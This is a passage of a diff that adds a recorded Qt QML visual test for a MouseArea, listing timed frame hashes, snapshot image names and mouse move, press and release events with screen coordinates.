+ Frame {
+ msec: 7472
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7488
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7504
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7520
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7536
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7552
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7568
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7584
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7600
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7616
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7632
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7648
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7664
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7680
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7696
+ image: "mousearea-visual.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7728
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7744
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7760
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7776
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7792
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7808
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7824
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7840
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7856
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7872
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7888
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7904
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7920
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7936
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7952
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7968
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 7984
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 8000
+ hash: "12edb0902e4d480c9052b00edc1a0a42"
+ }
+ Frame {
+ msec: 8016
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8032
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8048
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8064
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8080
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8096
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8112
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8128
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8144
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8160
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8176
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8192
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8208
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8224
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8240
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8256
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8272
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8288
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8304
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8320
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8336
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 247; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8352
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8368
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8384
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8400
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8416
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8432
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8448
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8464
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8480
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8496
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8512
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8528
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 248; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8544
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 254; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 259; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8560
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 264; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 268; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8576
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 273; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 277; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8592
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 281; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 284; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8608
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 287; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 289; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8624
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 292; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8640
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 294; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 295; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8656
+ image: "mousearea-visual.9.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 297; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 299; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8672
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 301; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 304; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8688
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 307; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8704
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 310; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 312; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8720
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 314; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 315; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8736
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 317; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 318; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8752
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 319; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8768
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 320; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8784
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 322; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 323; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8800
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 325; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 327; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8816
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 330; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 333; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8832
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 336; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 338; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8848
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 339; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8864
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 340; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8880
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 8896
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 340; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8912
+ hash: "d1f2fc2133f3d6554e41982196662c2a"
+ }
+ Frame {
+ msec: 8928
+ hash: "d1f2fc2133f3d6554e41982196662c2a"
+ }
+ Frame {
+ msec: 8944
+ hash: "d1f2fc2133f3d6554e41982196662c2a"
+ }
+ Frame {
+ msec: 8960
+ hash: "d1f2fc2133f3d6554e41982196662c2a"
+ }
+ Frame {
+ msec: 8976
+ hash: "d1f2fc2133f3d6554e41982196662c2a"
+ }
+ Frame {
+ msec: 8992
+ hash: "d1f2fc2133f3d6554e41982196662c2a"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 340; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9008
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9024
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9040
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9056
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9072
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9088
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9104
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9120
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9136
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9152
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9168
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9184
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9200
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9216
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9232
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9248
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9264
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9280
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9296
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9312
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9328
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9344
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9360
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9376
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9392
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9408
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9424
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9440
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9456
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9472
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9488
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9504
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9520
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9536
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9552
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9568
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9584
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 9600
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 339; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9616
+ image: "mousearea-visual.10.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 336; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9632
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 332; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 326; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9648
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 320; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 312; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9664
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 292; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 283; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9680
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 261; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9696
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 252; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 243; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9712
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 225; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 207; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9728
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 189; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 169; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9744
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 161; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 145; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9760
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 138; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9776
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 133; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 127; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9792
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 122; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 118; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9808
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 114; y: 57
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 110; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9824
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 109; y: 61
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9840
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 107; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 106; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9856
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 103; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 100; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9872
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 65
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9888
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 88; y: 65
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9904
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9920
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 79; y: 69
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 77; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9936
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 72
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9952
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 67; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 64; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9968
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9984
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 61; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 60; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10000
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10016
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10032
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 59; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10048
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 58; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10064
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 56; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10080
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10096
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10112
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10128
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10144
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10160
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10176
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10192
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10208
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10224
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Frame {
+ msec: 10240
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 59; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10256
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10272
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 69; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10288
